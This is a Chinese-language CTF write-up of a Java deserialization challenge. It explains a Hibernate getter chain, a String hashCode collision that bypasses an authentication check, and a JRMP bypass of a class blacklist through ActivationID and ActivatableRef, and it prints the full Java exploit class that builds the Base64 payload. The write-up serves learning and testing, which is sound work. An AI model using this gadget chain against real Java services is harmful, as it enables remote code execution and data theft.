前言
我认为这道题的难点在于JRMP那段链子,可能是之前接触的少,所以觉得很难想到。
题目分析
初步分析
先看依赖:
1 2 3 4 5 6 7 8 9 10 11 12
| <dependencies> <dependency> <groupId>commons-collections</groupId> <artifactId>commons-collections</artifactId> <version>3.2.1</version> </dependency> <dependency> <groupId>org.hibernate</groupId> <artifactId>hibernate-core</artifactId> <version>5.6.15.Final</version> </dependency> </dependencies>
|
cc很熟悉,hibernate主要是触发getter方法用的,路径为hashCode–>getter,所以可以以HashMap为入口。这里不展开了,不熟悉hibernate链的可以找文章学一下。
另外,pom还能得知是jdk8,网上的wp说是8u472。
再看题目的主要类。
Main.java,下面保留了主要部分
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55
| public class Main { public static void main(String[] args) throws Exception { int port = 8080; HttpServer server = HttpServer.create(new InetSocketAddress(port), 0); server.createContext("/", new IndexHandler()); server.createContext("/hello", new HelloHandler()); server.createContext("/api/echo", new EchoHandler()); server.setExecutor((Executor)null); System.out.println("Server started at http://localhost:" + port); server.start(); }
private static void sendText(HttpExchange exchange, int statusCode, String text) throws IOException { ...... }
private static void sendHtml(HttpExchange exchange, int statusCode, String html) throws IOException { .... }
private static String readBody(HttpExchange exchange) throws IOException { ...... }
private static Map<String, String> parseQuery(String query) throws UnsupportedEncodingException { 。。。。 }
static class IndexHandler implements HttpHandler { .... }
static class HelloHandler implements HttpHandler { .... }
static class EchoHandler implements HttpHandler { public void handle(HttpExchange exchange) throws IOException { List<String> cookie = exchange.getRequestHeaders().get("Pass"); String pass = (String)cookie.get(0); if (!pass.equals("n1ght") && pass.hashCode() == "n1ght".hashCode()) { List<String> echo = exchange.getRequestHeaders().get("echo"); String s = (String)echo.get(0); byte[] decode = Base64.getDecoder().decode(s);
try { (new SecurityObjectInputStream(new ByteArrayInputStream(decode))).readObject(); } catch (ClassNotFoundException e) { throw new RuntimeException(e); } }
} } }
|
是用HttpServer启动的一个服务,在/api/echo先通过一个hashCode判断,就能触发反序列化。
HttpServer的内存马在HFCTF2022的ez_chain遇到过:
https://1diot9.github.io/2025/05/05/WebHandler%E5%86%85%E5%AD%98%E9%A9%AC/
看一下SecurityObjectInputStream,依旧只保留有效部分
1 2 3 4
| public class SecurityObjectInputStream extends ObjectInputStream { public static String[] blacklist = new String[]{"org.apache.commons.collections", "javax.swing", "com.sun.rowset", "com.sun.org.apache.xalan", "java.security", "java.rmi.MarshalledObject", "javax.management.remote.rmi.RMIConnector"};
}
|
黑名单类:
1 2 3 4 5 6 7
| org.apache.commons.collections javax.swing com.sun.rowset com.sun.org.apache.xalan java.security java.rmi.MarshalledObject javax.management.remote.rmi.RMIConnector
|
cc不能直接用。
EventListenerList不能用。
JdbcRowSetImpl不能用
TemplatesImpl不能用
SignedObject不能用
RMIConnector不能
二次反序列化的点基本都没了。
hashCode碰撞问题
这个在HFCTF2022也遇到过,直接看String,hashCode:

(((a*31)+b)*31+c)*31+ … 这样一层层叠加计算hashCode。
前两位原本是n1,那前面ascii码减1,后面加31即可,变成mP,mPght即可

利用链分析
前段
就是hibernate那条链。
后段
用hibernate触发getter方法应该是没问题的,从笔记找了一下哪些能用:

剩下的似乎只有LdapAttribute了。
那能继续打ldap吗?如果是8u472的话,ldap默认是不允许反序列化数据的,那就只能使用RefBypass,然后打本地工厂类。但是依赖里只有cc和hibernate,所以ldap这条路似乎也不可行。
这里我就卡住了,不会往JRMP部分想,因为之前几乎没用过。
JRMP破局
以下部分是学习wp后的感悟。
需要先对JRMP的利用有一定了解,这里可以看我之前的文章。
https://1diot9.github.io/2025/11/10/RMI-JRMP-JEP290-LDAP%E5%9F%BA%E7%A1%80%E6%A2%B3%E7%90%86/
这里的重点在于:只要一个接口被RemoteObjectInvocationHandler(里面的ref指向恶意jrmp)动态代理了,那么这个对象执行任意方法时,都会走RemoteObjectInvocationHandler#invoke,最终走到StreamRemoteCall#executeCall,然后就可以反序列化恶意Exception对象。
被RemoteObjectInvocationHandler代理的接口有个条件,必须实现Remote接口,理由如图:

invoke会走到这里,代理如果没实现Remote接口,就会报错。
看一下java.rmi.activation.ActivationID#activate:

这里的activator字段,类型为Activator接口,继承了Remote:

这就满足上面打JRMP的条件了,我们可以给这个activator套一个动态代理,动态代理里的ref字段指向恶意JRMP,最后JRMP返回恶意Exception对象,在StreamRemoteCall#executeCall触发反序列化。这里的反序列化没有黑名单,所以直接用cc链就行。
现在只要往前推,推到一个getter方法就行了。这里直接使用idea自带的用法查找功能。注意,用法查找只能在有源码的情况下使用,即为.java文件。所以这里我切换回8u65,因为我只下了这个版本的所有源码。
对着方法,alt+f7:


往上查找两次就找到了。最终的getter方法是sun.rmi.server.ActivatableRef#getRef。
最终exp如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93
| package exp;
import exp.tools.ReflectTools; import exp.tools.UnsafeTools; import org.hibernate.engine.spi.TypedValue; import org.hibernate.property.access.spi.Getter; import org.hibernate.property.access.spi.GetterMethodImpl; import org.hibernate.tuple.component.PojoComponentTuplizer; import org.hibernate.type.ComponentType; import sun.rmi.server.ActivatableRef; import sun.rmi.server.UnicastRef; import sun.rmi.transport.LiveRef; import sun.rmi.transport.tcp.TCPEndpoint;
import java.io.FileOutputStream; import java.lang.reflect.Constructor; import java.lang.reflect.Proxy; import java.rmi.activation.ActivationID; import java.rmi.activation.Activator; import java.rmi.server.ObjID; import java.rmi.server.RemoteObjectInvocationHandler; import java.rmi.server.RemoteRef; import java.util.Base64; import java.util.HashMap; import java.util.Random;
public class Exp { public static void main(String[] args) throws Exception { String s1 = "n1ght"; String s2 = "mPght"; Object payload = getPayload(); byte[] bytes = ReflectTools.ser2bytes(payload); String s = Base64.getEncoder().encodeToString(bytes); FileOutputStream fileOutputStream = new FileOutputStream("D:\\BaiduSyncdisk\\ctf-challenges\\1diot9\\Solutions\\Pycharm\\2025\\ISCTF\\Regretful_Deser\\base64.txt"); fileOutputStream.write(s.getBytes()); }
public static Object getPayload() throws Exception { ActivatableRef activatableRef = (ActivatableRef) getActivatableRef("127.0.0.1", 13999); java.lang.reflect.Method getRefMethod = activatableRef.getClass().getDeclaredMethod("getRef"); getRefMethod.setAccessible(true); GetterMethodImpl getterMethod = new GetterMethodImpl(ActivatableRef.class, "ref", getRefMethod); PojoComponentTuplizer o = (PojoComponentTuplizer) UnsafeTools.getObjectByUnsafe(PojoComponentTuplizer.class); ReflectTools.setFieldValue(o, "getters", new Getter[]{getterMethod}); ComponentType o1 = (ComponentType) UnsafeTools.getObjectByUnsafe(ComponentType.class); ReflectTools.setFieldValue(o1, "componentTuplizer", o); ReflectTools.setFieldValue(o1, "propertySpan", 1); TypedValue typedValue = new TypedValue(o1, activatableRef);
typedValue.hashCode();
HashMap<Object, Object> hashMap = ReflectTools.makeMap(typedValue, typedValue); return hashMap; }
public static Object getActivatableRef(String host, int port) throws Exception { ObjID activatorObjId = new ObjID(ObjID.ACTIVATOR_ID); TCPEndpoint te = new TCPEndpoint(host, port); UnicastRef originalRef = new UnicastRef(new LiveRef(activatorObjId, te, false));
RemoteObjectInvocationHandler handler = new RemoteObjectInvocationHandler(originalRef); Activator activatorProxy = (Activator) Proxy.newProxyInstance( ClassLoader.getSystemClassLoader(), new Class[]{Activator.class}, handler );
Constructor<ActivationID> activationIDConstructor = ActivationID.class.getDeclaredConstructor(Activator.class); activationIDConstructor.setAccessible(true); ActivationID activationID = activationIDConstructor.newInstance(activatorProxy);
Class<?> activatableRefClass = Class.forName("sun.rmi.server.ActivatableRef"); Constructor<?> activatableRefConstructor = activatableRefClass.getDeclaredConstructor(ActivationID.class, RemoteRef.class); activatableRefConstructor.setAccessible(true); Object activatableRef = activatableRefConstructor.newInstance(activationID, null);
return activatableRef; } }
|
然后用java-chains开一个JRMP服务:

curl cat /flag.xxx.xxx 外带flag。
复现平台:
https://gz.imxbt.cn/games/32/challenges#1195-Regretful_Deser
总结
要是告诉我触发点在java.rmi.activation.ActivationID#activate,可能可以推出来。但是如果让我自己去找,还是有些困难,仍没有彻底弄清楚触发点的搜索逻辑。
参考
https://xz.aliyun.com/news/90777